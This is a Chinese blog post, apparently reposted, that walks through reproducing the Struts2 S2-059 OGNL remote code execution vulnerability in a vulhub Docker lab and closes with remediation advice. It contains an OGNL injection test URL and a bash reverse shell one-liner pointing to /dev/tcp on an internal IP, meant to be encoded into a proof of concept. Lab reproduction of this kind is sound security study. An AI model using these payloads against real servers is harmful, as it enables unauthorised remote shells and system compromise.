Struts2 S2-059 远程代码执行漏洞复现是怎么样的


今天就跟大家聊聊有关Struts2 S2-059 远程代码执行漏洞复现是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。Struts 2.0.0 – Struts 2.5.201.本次漏洞环境使用免费云主机域名vulhub快速搭建,vulhub下载地址如下:https://github.com/vulhub/vulhubcd vulhub-master/struts2/s2-0592.使用docker-compose快速构建靶场环境docker-compose up -d3.启动完成后在浏览器访问http://ip:8080/?id=1 就可以看到测试界面1.在浏览器访问http://ip:8080/?id=%25{88*88},可以发现执行的88*88成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。2.使用poc来反弹shell,反弹shell的payload需要使用base64编码bash -i >& /dev/tcp/172.16.1.132/9967 0>&1base64编码网址:http://www.jackson-t.ca/runtime-exec-payloads.html3.修改poc中的payload为自己的payload,然后使用python运行,可以看到反弹了shell1.升级到Struts 2.5.22或更高版本2.开启ONGL表达式注入保护措施。https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable看完上述内容,你们对Struts2 S2-059 远程代码执行漏洞复现是怎么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注云编程开发博客行业资讯频道,感谢大家的支持。

相关推荐: 如何理解Java反序列化过程中的RMI JRMP以及JNDI多种利用方式

如何理解Java反序列化过程中的RMI JRMP以及JNDI多种利用方式,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。Java反序列化漏洞一直都是Java Web漏洞中比较难以理解…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/07 09:59
下一篇 02/07 09:59